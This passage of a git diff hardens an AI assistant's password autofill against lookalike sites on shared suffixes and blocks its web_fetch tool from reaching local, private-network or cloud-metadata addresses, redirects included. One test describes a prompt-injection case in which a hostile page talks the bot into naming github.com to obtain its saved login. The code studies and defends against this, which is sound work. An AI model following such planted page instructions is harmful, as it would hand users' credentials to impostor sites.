let matched = item.fills_on(&host);
|
||||||
|
Ok(LoginPlan { host, item: Some(item), matched, other: None })
|
||||||
|
}
|
||||||
|
// Keychain and 1Password logins carry no list of sites to warn with: only on their own site.
|
||||||
|
None => Err(format!("目前的分頁是 {host},不是 {site}。先打開 {site} 的登入頁,再填入(密碼只會填進它所屬的網站)。")),
|
||||||
|
};
|
||||||
|
}
|
||||||
if let Some(item) = crate::vault_store::logins_for(&host).into_iter().next() {
|
if let Some(item) = crate::vault_store::logins_for(&host).into_iter().next() {
|
||||||
return Ok(LoginPlan { host, item: Some(item), matched: true, other: None });
|
return Ok(LoginPlan { host, item: Some(item), matched: true, other: None });
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -163,7 +163,9 @@ impl Item {
|
||||||
let h = h.strip_prefix("www.").unwrap_or(&h);
|
let h = h.strip_prefix("www.").unwrap_or(&h);
|
||||||
self.sites.iter().any(|s| {
|
self.sites.iter().any(|s| {
|
||||||
let d = registrable_domain(&host_of(s));
|
let d = registrable_domain(&host_of(s));
|
||||||
!d.is_empty() && (h == d || h.ends_with(&format!(".{d}")))
|
// (A site that is itself a suffix many owners share — 「gov.tw」, 「github.io」 —
|
||||||
|
// is that one address, never everything under it.)
|
||||||
|
!d.is_empty() && (h == d || (!is_public_suffix(&d) && h.ends_with(&format!(".{d}"))))
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
@ -197,25 +199,58 @@ pub fn host_of(s: &str) -> String {
|
||||||
h.strip_prefix("www.").map(String::from).unwrap_or(h)
|
h.strip_prefix("www.").map(String::from).unwrap_or(h)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Second-level suffixes where the registrable domain has three labels.
|
/// Suffixes of more than one label under which different owners have their own names: the
|
||||||
const TWO_PART_SUFFIXES: &[&str] = &[
|
/// registrable domain is one label more. Countries' second levels, and the hosting services
|
||||||
"com.tw", "org.tw", "net.tw", "edu.tw", "gov.tw", "idv.tw", "co.uk", "org.uk", "ac.uk", "gov.uk", "co.jp", "ne.jp", "or.jp", "ac.jp", "go.jp", "com.cn", "net.cn", "org.cn", "com.hk", "org.hk",
|
/// where anyone gets a name next to anyone else's (a login saved for 「mine.pages.dev」 must not
|
||||||
"com.sg", "com.au", "net.au", "org.au", "co.nz", "co.kr", "or.kr", "com.br", "com.mx", "co.in", "co.za", "com.my", "com.ph", "co.id", "co.th", "com.vn", "github.io", "vercel.app", "netlify.app",
|
/// be offered on 「someone-else.pages.dev」).
|
||||||
|
const SHARED_SUFFIXES: &[&str] = &[
|
||||||
|
"com.tw", "org.tw", "net.tw", "edu.tw", "gov.tw", "idv.tw", "game.tw", "club.tw", "ebiz.tw", "co.uk", "org.uk", "ac.uk", "gov.uk", "me.uk", "ltd.uk", "plc.uk", "sch.uk", "nhs.uk", "police.uk",
|
||||||
|
"co.jp", "ne.jp", "or.jp", "ac.jp", "go.jp", "com.cn", "net.cn", "org.cn", "com.hk", "org.hk",
|
||||||
|
"com.sg", "com.au", "net.au", "org.au", "co.nz", "co.kr", "or.kr", "com.br", "com.mx", "co.in", "co.za", "com.my", "com.ph", "co.id", "co.th", "com.vn",
|
||||||
|
"github.io", "gitlab.io", "vercel.app", "netlify.app", "pages.dev", "workers.dev", "web.app", "firebaseapp.com", "appspot.com", "herokuapp.com", "azurewebsites.net", "blogspot.com",
|
||||||
|
"cloudfront.net", "onrender.com", "fly.dev", "glitch.me", "surge.sh", "ngrok.io", "ngrok-free.app", "ngrok.app", "trycloudflare.com", "amazonaws.com", "s3.amazonaws.com", "elasticbeanstalk.com",
|
||||||
|
"web.core.windows.net", "blob.core.windows.net", "r2.dev", "deno.dev", "replit.app", "repl.co", "wixsite.com", "weebly.com", "myshopify.com", "ts.net",
|
||||||
];
|
];
|
||||||
|
|
||||||
|
/// What registries put right under a country's two letters (「bank.com.tr」, 「x.gov.hk」,
|
||||||
|
/// 「y.co.il」): with one of these there, the name is the label before it.
|
||||||
|
const COUNTRY_SECOND_LEVELS: &[&str] = &["com", "co", "net", "org", "edu", "gov", "ac", "or", "ne", "go", "mil", "idv", "nom", "gob", "gouv"];
|
||||||
|
|
||||||
|
/// How many labels at the end of a host are a suffix shared by different owners (1: a plain
|
||||||
|
/// top-level domain).
|
||||||
|
fn suffix_labels(parts: &[&str]) -> usize {
|
||||||
|
let listed = SHARED_SUFFIXES.iter().map(|s| s.split('.').count()).filter(|n| parts.len() >= *n).filter(|n| SHARED_SUFFIXES.contains(&parts[parts.len() - n..].join(".").as_str())).max();
|
||||||
|
if let Some(n) = listed {
|
||||||
|
return n;
|
||||||
|
}
|
||||||
|
match parts {
|
||||||
|
[.., second, top] if top.len() == 2 && top.chars().all(|c| c.is_ascii_alphabetic()) && COUNTRY_SECOND_LEVELS.contains(second) => 2,
|
||||||
|
_ => 1,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn labels(host: &str) -> Option<Vec<String>> {
|
||||||
|
let h = host.trim().trim_end_matches('.').to_lowercase();
|
||||||
|
if h.parse::<std::net::IpAddr>().is_ok() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
Some(h.split('.').filter(|p| !p.is_empty()).map(String::from).collect())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The host is nobody's own name: a suffix different owners share (「com.tw」, 「github.io」).
|
||||||
|
pub fn is_public_suffix(host: &str) -> bool {
|
||||||
|
labels(host).is_some_and(|l| {
|
||||||
|
let parts: Vec<&str> = l.iter().map(String::as_str).collect();
|
||||||
|
parts.len() >= 2 && parts.len() <= suffix_labels(&parts)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
/// "login.shop.example.co.uk" → "example.co.uk"; IP addresses and single labels stay as they are.
|
/// "login.shop.example.co.uk" → "example.co.uk"; IP addresses and single labels stay as they are.
|
||||||
pub fn registrable_domain(host: &str) -> String {
|
pub fn registrable_domain(host: &str) -> String {
|
||||||
let h = host.trim().trim_end_matches('.').to_lowercase();
|
let Some(l) = labels(host) else { return host.trim().trim_end_matches('.').to_lowercase() };
|
||||||
if h.parse::<std::net::IpAddr>().is_ok() {
|
let parts: Vec<&str> = l.iter().map(String::as_str).collect();
|
||||||
return h;
|
let n = (suffix_labels(&parts) + 1).min(parts.len());
|
||||||
}
|
parts[parts.len() - n..].join(".")
|
||||||
let parts: Vec<&str> = h.split('.').filter(|p| !p.is_empty()).collect();
|
|
||||||
if parts.len() <= 2 {
|
|
||||||
return parts.join(".");
|
|
||||||
}
|
|
||||||
let last2 = parts[parts.len() - 2..].join(".");
|
|
||||||
let n = if TWO_PART_SUFFIXES.contains(&last2.as_str()) { 3 } else { 2 };
|
|
||||||
parts[parts.len() - n.min(parts.len())..].join(".")
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn digits(s: &str) -> String {
|
pub fn digits(s: &str) -> String {
|
||||||
|
|
@ -960,6 +995,23 @@ mod tests {
|
||||||
assert_eq!(registrable_domain("www.ctbcbank.com.tw"), "ctbcbank.com.tw");
|
assert_eq!(registrable_domain("www.ctbcbank.com.tw"), "ctbcbank.com.tw");
|
||||||
assert_eq!(registrable_domain("accounts.google.com"), "google.com");
|
assert_eq!(registrable_domain("accounts.google.com"), "google.com");
|
||||||
assert_eq!(registrable_domain("127.0.0.1"), "127.0.0.1");
|
assert_eq!(registrable_domain("127.0.0.1"), "127.0.0.1");
|
||||||
|
assert_eq!((registrable_domain("google.com").as_str(), registrable_domain("t.co").as_str(), registrable_domain("localhost").as_str()), ("google.com", "t.co", "localhost"));
|
||||||
|
// Suffixes many owners share: the name is the label before the suffix, also where
|
||||||
|
// the suffix isn't on the list (a country's second level) or is longer than two labels.
|
||||||
|
assert_eq!(registrable_domain("www.bank.com.tr"), "bank.com.tr");
|
||||||
|
assert_eq!(registrable_domain("a.b.gov.hk"), "b.gov.hk");
|
||||||
|
assert_eq!(registrable_domain("mine.pages.dev"), "mine.pages.dev");
|
||||||
|
assert_eq!(registrable_domain("x.bucket.s3.amazonaws.com"), "bucket.s3.amazonaws.com");
|
||||||
|
assert_eq!(registrable_domain("go.com"), "go.com");
|
||||||
|
assert!(is_public_suffix("com.tw") && is_public_suffix("github.io") && is_public_suffix("com.tr") && !is_public_suffix("example.com.tw") && !is_public_suffix("com") && !is_public_suffix("10.0.0.1"));
|
||||||
|
// A login is for its own name there, never for a neighbour's.
|
||||||
|
let mine = Item { kind: Kind::Login, sites: vec!["https://mine.pages.dev/login".into()], ..Default::default() };
|
||||||
|
assert!(mine.fills_on("mine.pages.dev") && mine.fills_on("app.mine.pages.dev") && !mine.fills_on("evil.pages.dev") && !mine.fills_on("pages.dev"));
|
||||||
|
let bank = Item { kind: Kind::Login, sites: vec!["bank.com.tr".into()], ..Default::default() };
|
||||||
|
assert!(bank.fills_on("online.bank.com.tr") && !bank.fills_on("evil.com.tr"));
|
||||||
|
// A login saved on a suffix itself (「www.gov.tw」 is a real site) is for that address only.
|
||||||
|
let gov = Item { kind: Kind::Login, sites: vec!["https://www.gov.tw/".into()], ..Default::default() };
|
||||||
|
assert!(gov.fills_on("www.gov.tw") && gov.fills_on("gov.tw") && !gov.fills_on("evil.gov.tw"));
|
||||||
assert_eq!(host_of("https://WWW.Example.com:8443/x?y"), "example.com");
|
assert_eq!(host_of("https://WWW.Example.com:8443/x?y"), "example.com");
|
||||||
let it = Item { kind: Kind::Login, sites: vec!["https://example.com/login".into()], ..Default::default() };
|
let it = Item { kind: Kind::Login, sites: vec!["https://example.com/login".into()], ..Default::default() };
|
||||||
assert!(it.fills_on("app.example.com") && it.fills_on("example.com") && !it.fills_on("example.com.evil.io") && !it.fills_on("notexample.com"));
|
assert!(it.fills_on("app.example.com") && it.fills_on("example.com") && !it.fills_on("example.com.evil.io") && !it.fills_on("notexample.com"));
|
||||||
|
|
@ -1009,6 +1061,22 @@ mod tests {
|
||||||
assert_eq!((c.brand.as_str(), c.last4.as_str(), c.exp_month, c.exp_year), ("Visa", "1111", 12, 2039));
|
assert_eq!((c.brand.as_str(), c.last4.as_str(), c.exp_month, c.exp_year), ("Visa", "1111", 12, 2039));
|
||||||
assert_eq!(login_secret(&id).unwrap().1, "pa\"ss 你好");
|
assert_eq!(login_secret(&id).unwrap().1, "pa\"ss 你好");
|
||||||
assert_eq!(logins_for("gist.github.com").len(), 1);
|
assert_eq!(logins_for("gist.github.com").len(), 1);
|
||||||
|
// The open tab is the site, whatever `site` says: a page that talks the bot into naming
|
||||||
|
// github.com gets the lookalike warning (not matched → no grant to reuse), about itself.
|
||||||
|
let on = |tab: &str, args: serde_json::Value| crate::vault::plan_login_on(tab, &args);
|
||||||
|
let lure = on("evil.example", serde_json::json!({"site": "github.com"})).unwrap();
|
||||||
|
assert_eq!((lure.host.as_str(), lure.matched), ("evil.example", false));
|
||||||
|
assert!(lure.question().contains("evil.example") && lure.question().contains("仿冒"), "{}", lure.question());
|
||||||
|
let by_id = on("evil.example", serde_json::json!({"login_id": id, "site": "github.com"})).unwrap();
|
||||||
|
assert_eq!((by_id.host.as_str(), by_id.matched), ("evil.example", false));
|
||||||
|
// On its own site (naming it or not), it is the saved login, with no warning.
|
||||||
|
for args in [serde_json::json!({}), serde_json::json!({"site": "https://www.github.com/login"})] {
|
||||||
|
let own = on("gist.github.com", args).unwrap();
|
||||||
|
assert_eq!((own.host.as_str(), own.matched), ("gist.github.com", true));
|
||||||
|
}
|
||||||
|
// Nothing saved for the named site, or no page open: refused before any lookup.
|
||||||
|
assert!(on("evil.example", serde_json::json!({"site": "nothing-saved.example"})).is_err());
|
||||||
|
assert!(on("", serde_json::json!({"site": "github.com"})).is_err());
|
||||||
// Editing with an empty password keeps it.
|
// Editing with an empty password keeps it.
|
||||||
put_login(LoginInput { id: Some(id.clone()), sites: vec!["github.com".into(), "githubusercontent.com".into()], username: "me2".into(), password: String::new(), notes: String::new() }).unwrap();
|
put_login(LoginInput { id: Some(id.clone()), sites: vec!["github.com".into(), "githubusercontent.com".into()], username: "me2".into(), password: String::new(), notes: String::new() }).unwrap();
|
||||||
assert_eq!(login_secret(&id).unwrap(), ("me2".to_string(), "pa\"ss 你好".to_string()));
|
assert_eq!(login_secret(&id).unwrap(), ("me2".to_string(), "pa\"ss 你好".to_string()));
|
||||||
|
|
|
||||||
|
|
@ -12,6 +12,15 @@ pub const MAX_SECS: u64 = 600;
|
||||||
/// 會議記錄 can run longer: two hours stays under the transcription service's 25 MB limit at this
|
/// 會議記錄 can run longer: two hours stays under the transcription service's 25 MB limit at this
|
||||||
/// recorder's bitrate (estimated).
|
/// recorder's bitrate (estimated).
|
||||||
pub const MEETING_MAX_SECS: u64 = 7_200;
|
pub const MEETING_MAX_SECS: u64 = 7_200;
|
||||||
|
/// A recording limit in words (「10 分鐘」, 「2 小時」).
|
||||||
|
pub fn length_words(secs: u64) -> String {
|
||||||
|
if secs >= 3600 && secs.is_multiple_of(3600) {
|
||||||
|
format!("{} 小時", secs / 3600)
|
||||||
|
} else {
|
||||||
|
format!("{} 分鐘", secs / 60)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/// Transcription models tried in order.
|
/// Transcription models tried in order.
|
||||||
pub const MODELS: [&str; 2] = ["gpt-4o-mini-transcribe", "whisper-1"];
|
pub const MODELS: [&str; 2] = ["gpt-4o-mini-transcribe", "whisper-1"];
|
||||||
|
|
||||||
|
|
|
||||||
287
src/web.rs
287
src/web.rs
|
|
@ -183,17 +183,133 @@ pub fn normalize_url(u: &str) -> Result<String, String> {
|
||||||
|
|
||||||
// ---------- web_fetch ----------
|
// ---------- web_fetch ----------
|
||||||
|
|
||||||
fn fetch(url: &str) -> Result<String, String> {
|
/// An address web_fetch may reach: out on the internet. Not this computer, not the network it
|
||||||
let url = normalize_url(url)?;
|
/// sits on (the router, the NAS, another service's port), not a cloud machine's metadata.
|
||||||
let agent: ureq::Agent = ureq::Agent::config_builder()
|
fn public_addr(ip: std::net::IpAddr) -> bool {
|
||||||
|
match ip {
|
||||||
|
std::net::IpAddr::V4(a) => {
|
||||||
|
let o = a.octets();
|
||||||
|
// (100.64/10: carrier NAT and Tailscale; 192.0.0/24 and 240/4: reserved.)
|
||||||
|
!(a.is_loopback() || a.is_private() || a.is_link_local() || a.is_unspecified() || a.is_broadcast() || a.is_multicast() || o[0] == 0 || (o[0] == 100 && o[1] & 0xc0 == 64) || (o[0] == 192 && o[1] == 0 && o[2] == 0) || o[0] >= 240)
|
||||||
|
}
|
||||||
|
std::net::IpAddr::V6(a) => match a.to_ipv4_mapped() {
|
||||||
|
Some(v4) => public_addr(std::net::IpAddr::V4(v4)),
|
||||||
|
// (fc00::/7 is the private range, fe80::/10 link-local; 64:ff9b::/96 carries an IPv4 address.)
|
||||||
|
None => !(a.is_loopback() || a.is_unspecified() || a.is_multicast() || a.segments()[0] & 0xfe00 == 0xfc00 || a.segments()[0] & 0xffc0 == 0xfe80 || (a.segments()[0] == 0x64 && a.segments()[1] == 0xff9b)),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The host and port of a web address (the brackets off an IPv6 one).
|
||||||
|
fn host_port(url: &str) -> Option<(String, u16)> {
|
||||||
|
let (scheme, rest) = url.split_once("://")?;
|
||||||
|
let auth = rest.split(['/', '?', '#']).next()?.rsplit('@').next()?;
|
||||||
|
let default = if scheme.eq_ignore_ascii_case("https") { 443 } else { 80 };
|
||||||
|
let (host, port) = match auth.strip_prefix('[') {
|
||||||
|
Some(v6) => {
|
||||||
|
let (h, after) = v6.split_once(']')?;
|
||||||
|
(h, after.strip_prefix(':').map(str::parse).transpose().ok()?.unwrap_or(default))
|
||||||
|
}
|
||||||
|
None => match auth.rsplit_once(':') {
|
||||||
|
Some((h, p)) => (h, if p.is_empty() { default } else { p.parse().ok()? }),
|
||||||
|
None => (auth, default),
|
||||||
|
},
|
||||||
|
};
|
||||||
|
(!host.is_empty()).then(|| (host.to_string(), port))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// web_fetch runs with nothing asked, so it reads the public web only: a page (or a redirect)
|
||||||
|
/// that names this computer or the network around it is refused. It used to reach them all.
|
||||||
|
fn public_only(url: &str) -> Result<(), String> {
|
||||||
|
use std::net::ToSocketAddrs;
|
||||||
|
let (host, port) = host_port(url).ok_or_else(|| format!("「{url}」看起來不是網址"))?;
|
||||||
|
let h = host.trim_end_matches('.').to_lowercase();
|
||||||
|
let addrs: Vec<std::net::IpAddr> = match h.parse::<std::net::IpAddr>() {
|
||||||
|
Ok(ip) => vec![ip],
|
||||||
|
// (A name that can't be looked up here is left to the request, which fails the same
|
||||||
|
// way, or to the person's proxy, which looks it up itself.)
|
||||||
|
Err(_) => (h.as_str(), port).to_socket_addrs().map(|a| a.map(|s| s.ip()).collect()).unwrap_or_default(),
|
||||||
|
};
|
||||||
|
if h == "localhost" || h.ends_with(".localhost") || addrs.iter().any(|a| !public_addr(*a)) {
|
||||||
|
return Err(format!("web_fetch 只讀公開的網頁,「{host}」是這台電腦或內部網路的位址。要看本機或區網上的服務,用 shell(例如 curl)或 browser_open。"));
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Looks names up like the default resolver, and hands back only public addresses: the check
|
||||||
|
/// that holds at the moment of connecting (a name can answer differently the second time).
|
||||||
|
#[derive(Debug)]
|
||||||
|
struct PublicResolver(ureq::unversioned::resolver::DefaultResolver);
|
||||||
|
|
||||||
|
impl ureq::unversioned::resolver::Resolver for PublicResolver {
|
||||||
|
fn resolve(&self, uri: &ureq::http::Uri, config: &ureq::config::Config, timeout: ureq::unversioned::transport::NextTimeout) -> Result<ureq::unversioned::resolver::ResolvedSocketAddrs, ureq::Error> {
|
||||||
|
let addrs = self.0.resolve(uri, config, timeout)?;
|
||||||
|
// The proxy the person set up is theirs to reach, wherever it is.
|
||||||
|
let proxy = config.proxy().is_some_and(|p| p.uri() == uri);
|
||||||
|
if !proxy && addrs.iter().any(|a| !public_addr(a.ip())) {
|
||||||
|
return Err(ureq::Error::Io(std::io::Error::new(std::io::ErrorKind::PermissionDenied, "內部網路的位址")));
|
||||||
|
}
|
||||||
|
Ok(addrs)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Where a redirect leads, from the page it came from.
|
||||||
|
fn follow(base: &str, location: &str) -> String {
|
||||||
|
let location = location.trim();
|
||||||
|
let scheme = base.split_once("://").map(|(s, _)| s).unwrap_or("https");
|
||||||
|
let origin_end = base.find("://").map(|i| i + 3).and_then(|i| base[i..].find(['/', '?', '#']).map(|j| i + j)).unwrap_or(base.len());
|
||||||
|
if location.starts_with("http://") || location.starts_with("https://") {
|
||||||
|
location.to_string()
|
||||||
|
} else if location.starts_with("//") {
|
||||||
|
format!("{scheme}:{location}")
|
||||||
|
} else if location.starts_with('/') {
|
||||||
|
format!("{}{location}", &base[..origin_end])
|
||||||
|
} else {
|
||||||
|
let path = base[origin_end..].split(['?', '#']).next().unwrap_or("");
|
||||||
|
let dir = path.rfind('/').map(|i| &path[..=i]).unwrap_or("/");
|
||||||
|
format!("{}{dir}{location}", &base[..origin_end])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Redirects web_fetch follows before it gives up (ureq's own default).
|
||||||
|
const MAX_REDIRECTS: usize = 10;
|
||||||
|
|
||||||
|
/// A page off the public web, as text in its own encoding: where it ended up after redirects,
|
||||||
|
/// the status, and the text. Every stop on the way is checked (`public_only`), so nothing on
|
||||||
|
/// this computer or its network is read. (skill_install fetches through here too: it took any
|
||||||
|
/// address, the router's and a cloud machine's metadata included.)
|
||||||
|
pub fn get_public(url: &str, limit: u64) -> Result<(String, u16, String), String> {
|
||||||
|
let mut url = normalize_url(url)?;
|
||||||
|
// Redirects are followed here, one at a time, so each stop is checked like the first.
|
||||||
|
let config = ureq::Agent::config_builder()
|
||||||
.http_status_as_error(false)
|
.http_status_as_error(false)
|
||||||
|
.max_redirects(0)
|
||||||
.timeout_global(Some(Duration::from_secs(20)))
|
.timeout_global(Some(Duration::from_secs(20)))
|
||||||
.user_agent("Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15")
|
.user_agent("Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15")
|
||||||
.build()
|
.build();
|
||||||
.into();
|
let agent = ureq::Agent::with_parts(config, ureq::unversioned::transport::DefaultConnector::new(), PublicResolver(Default::default()));
|
||||||
|
let mut hops = 0;
|
||||||
|
let resp = loop {
|
||||||
|
public_only(&url)?;
|
||||||
let resp = agent.get(&url).call().map_err(|e| format!("連不上 {url}:{e}"))?;
|
let resp = agent.get(&url).call().map_err(|e| format!("連不上 {url}:{e}"))?;
|
||||||
|
let next = resp.headers().get("location").and_then(|l| l.to_str().ok()).filter(|_| matches!(resp.status().as_u16(), 301 | 302 | 303 | 307 | 308)).map(|l| follow(&url, l));
|
||||||
|
match next {
|
||||||
|
Some(_) if hops >= MAX_REDIRECTS => return Err(format!("{url} 一直轉址,讀不到內容。")),
|
||||||
|
Some(to) => {
|
||||||
|
hops += 1;
|
||||||
|
url = to;
|
||||||
|
}
|
||||||
|
None => break resp,
|
||||||
|
}
|
||||||
|
};
|
||||||
let status = resp.status().as_u16();
|
let status = resp.status().as_u16();
|
||||||
let body = resp.into_body().with_config().limit(MAX_FETCH_BYTES).read_to_string().map_err(|e| format!("讀取失敗:{e}"))?;
|
let said = resp.headers().get("content-type").and_then(|c| c.to_str().ok()).unwrap_or("").to_string();
|
||||||
|
let body = page_text(&resp.into_body().with_config().limit(limit).read_to_vec().map_err(|e| format!("讀取失敗:{e}"))?, &said);
|
||||||
|
Ok((url, status, body))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn fetch(url: &str) -> Result<String, String> {
|
||||||
|
let (url, status, body) = get_public(url, MAX_FETCH_BYTES)?;
|
||||||
if status >= 400 {
|
if status >= 400 {
|
||||||
return Err(format!("網站回應 {status}。如果這個頁面要登入,請改用 browser_open。"));
|
return Err(format!("網站回應 {status}。如果這個頁面要登入,請改用 browser_open。"));
|
||||||
}
|
}
|
||||||
|
|
@ -207,6 +323,25 @@ fn fetch(url: &str) -> Result<String, String> {
|
||||||
Ok(out)
|
Ok(out)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// The name after `charset=` (a Content-Type header, or the start of a page with its
|
||||||
|
/// `<meta charset="big5">` / `<meta http-equiv … content="text/html; charset=big5">`).
|
||||||
|
fn charset_named(s: &str) -> Option<String> {
|
||||||
|
let l = s.to_ascii_lowercase();
|
||||||
|
let at = l.find("charset=")? + "charset=".len();
|
||||||
|
let name: String = l[at..].trim_start_matches(['"', '\'', ' ']).chars().take_while(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_')).collect();
|
||||||
|
(!name.is_empty()).then_some(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A page's bytes as text, in the encoding the answer's header names, else the one the page
|
||||||
|
/// itself names, else UTF-8 (bytes that are no text in it become <20>). Pages in Big5, GBK or
|
||||||
|
/// Shift_JIS — many older Taiwanese sites — were refused whole as 「讀取失敗」: they were read
|
||||||
|
/// as UTF-8 or not at all.
|
||||||
|
fn page_text(bytes: &[u8], content_type: &str) -> String {
|
||||||
|
let named = charset_named(content_type).or_else(|| charset_named(&String::from_utf8_lossy(&bytes[..bytes.len().min(4096)])));
|
||||||
|
let encoding = named.and_then(|n| encoding_rs::Encoding::for_label(n.as_bytes())).unwrap_or(encoding_rs::UTF_8);
|
||||||
|
encoding.decode(bytes).0.into_owned()
|
||||||
|
}
|
||||||
|
|
||||||
fn between<'a>(s: &'a str, a: &str, b: &str) -> Option<&'a str> {
|
fn between<'a>(s: &'a str, a: &str, b: &str) -> Option<&'a str> {
|
||||||
let lower = s.to_ascii_lowercase();
|
let lower = s.to_ascii_lowercase();
|
||||||
let i = lower.find(a)?;
|
let i = lower.find(a)?;
|
||||||
|
|
@ -308,24 +443,50 @@ fn osascript(script: &str, cancel: &AtomicBool) -> Result<String, String> {
|
||||||
if !cfg!(target_os = "macos") {
|
if !cfg!(target_os = "macos") {
|
||||||
return Err("在 Linux 上讀不到你自己瀏覽器裡的分頁。請改用 AnyBot 的瀏覽器(profile 用「預設」或其他設定檔)打開那個網址再讀;要登入的網站,請先在 AnyBot 的瀏覽器登入一次。".into());
|
return Err("在 Linux 上讀不到你自己瀏覽器裡的分頁。請改用 AnyBot 的瀏覽器(profile 用「預設」或其他設定檔)打開那個網址再讀;要登入的網站,請先在 AnyBot 的瀏覽器登入一次。".into());
|
||||||
}
|
}
|
||||||
let mut child = Command::new("osascript").arg("-e").arg(script).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped()).spawn().map_err(|e| e.to_string())?;
|
let child = Command::new("osascript").arg("-e").arg(script).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::piped()).spawn().map_err(|e| e.to_string())?;
|
||||||
|
match wait_piped(child, cancel, Duration::from_secs(SCRIPT_TIMEOUT_SECS)) {
|
||||||
|
Waited::Done(true, so, _) => Ok(so.trim_end().to_string()),
|
||||||
|
Waited::Done(false, _, se) => Err(se.trim().to_string()),
|
||||||
|
Waited::Stopped => Err("已停止".into()),
|
||||||
|
Waited::TooLong => Err("等瀏覽器回應太久了(macOS 可能在問你要不要允許,請看看螢幕)".into()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// How waiting for a command ended: it finished (went well?, what it printed, what it
|
||||||
|
/// complained of), the turn was stopped, or it took too long (then it is killed).
|
||||||
|
enum Waited {
|
||||||
|
Done(bool, String, String),
|
||||||
|
Stopped,
|
||||||
|
TooLong,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Wait for a command whose output comes through pipes, reading the pipes while waiting. A
|
||||||
|
/// pipe holds 64 KB: a command that prints more (a long page's text) stood still at that
|
||||||
|
/// point, was waited on until the time ran out, and the page was called unreachable.
|
||||||
|
fn wait_piped(mut child: std::process::Child, cancel: &AtomicBool, limit: Duration) -> Waited {
|
||||||
|
fn read_all(pipe: Option<impl std::io::Read + Send + 'static>) -> std::thread::JoinHandle<Vec<u8>> {
|
||||||
|
std::thread::spawn(move || {
|
||||||
|
let mut all = vec![];
|
||||||
|
if let Some(mut p) = pipe {
|
||||||
|
let _ = std::io::Read::read_to_end(&mut p, &mut all);
|
||||||
|
}
|
||||||
|
all
|
||||||
|
})
|
||||||
|
}
|
||||||
|
let (out, err) = (read_all(child.stdout.take()), read_all(child.stderr.take()));
|
||||||
let start = Instant::now();
|
let start = Instant::now();
|
||||||
loop {
|
loop {
|
||||||
if let Ok(Some(_)) = child.try_wait() {
|
if let Ok(Some(st)) = child.try_wait() {
|
||||||
let out = child.wait_with_output().map_err(|e| e.to_string())?;
|
let text = |h: std::thread::JoinHandle<Vec<u8>>| String::from_utf8_lossy(&h.join().unwrap_or_default()).into_owned();
|
||||||
let so = String::from_utf8_lossy(&out.stdout).trim_end().to_string();
|
return Waited::Done(st.success(), text(out), text(err));
|
||||||
let se = String::from_utf8_lossy(&out.stderr).trim().to_string();
|
|
||||||
return if out.status.success() { Ok(so) } else { Err(se) };
|
|
||||||
}
|
}
|
||||||
if cancel.load(Ordering::Relaxed) {
|
let stopped = cancel.load(Ordering::Relaxed);
|
||||||
|
if stopped || start.elapsed() > limit {
|
||||||
let _ = child.kill();
|
let _ = child.kill();
|
||||||
return Err("已停止".into());
|
let _ = child.wait();
|
||||||
|
return if stopped { Waited::Stopped } else { Waited::TooLong };
|
||||||
}
|
}
|
||||||
if start.elapsed() > Duration::from_secs(SCRIPT_TIMEOUT_SECS) {
|
std::thread::sleep(Duration::from_millis(if start.elapsed() < Duration::from_millis(500) { 10 } else { 100 }));
|
||||||
let _ = child.kill();
|
|
||||||
return Err("等瀏覽器回應太久了(macOS 可能在問你要不要允許,請看看螢幕)".into());
|
|
||||||
}
|
|
||||||
std::thread::sleep(Duration::from_millis(100));
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -356,16 +517,11 @@ fn front_window_owners(cancel: &AtomicBool) -> Vec<String> {
|
||||||
if !cfg!(target_os = "macos") {
|
if !cfg!(target_os = "macos") {
|
||||||
return vec![];
|
return vec![];
|
||||||
}
|
}
|
||||||
let Ok(mut child) = Command::new("osascript").args(["-l", "JavaScript", "-e", WINDOW_LIST_JXA]).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::null()).spawn() else { return vec![] };
|
let Ok(child) = Command::new("osascript").args(["-l", "JavaScript", "-e", WINDOW_LIST_JXA]).stdin(Stdio::null()).stdout(Stdio::piped()).stderr(Stdio::null()).spawn() else { return vec![] };
|
||||||
let start = Instant::now();
|
match wait_piped(child, cancel, Duration::from_secs(10)) {
|
||||||
while start.elapsed() < Duration::from_secs(10) && !cancel.load(Ordering::Relaxed) {
|
Waited::Done(_, out, _) => visible_window_owners(&out),
|
||||||
if let Ok(Some(_)) = child.try_wait() {
|
_ => vec![],
|
||||||
return child.wait_with_output().map(|o| visible_window_owners(&String::from_utf8_lossy(&o.stdout))).unwrap_or_default();
|
|
||||||
}
|
}
|
||||||
std::thread::sleep(Duration::from_millis(50));
|
|
||||||
}
|
|
||||||
let _ = child.kill();
|
|
||||||
vec![]
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// The browser whose window is closest to the front: the one the person is looking at.
|
/// The browser whose window is closest to the front: the one the person is looking at.
|
||||||
|
|
@ -506,6 +662,81 @@ mod tests {
|
||||||
assert!(!html_to_text("<head lang=zh><title>不要</title></head><p>要</p>").contains("不要"));
|
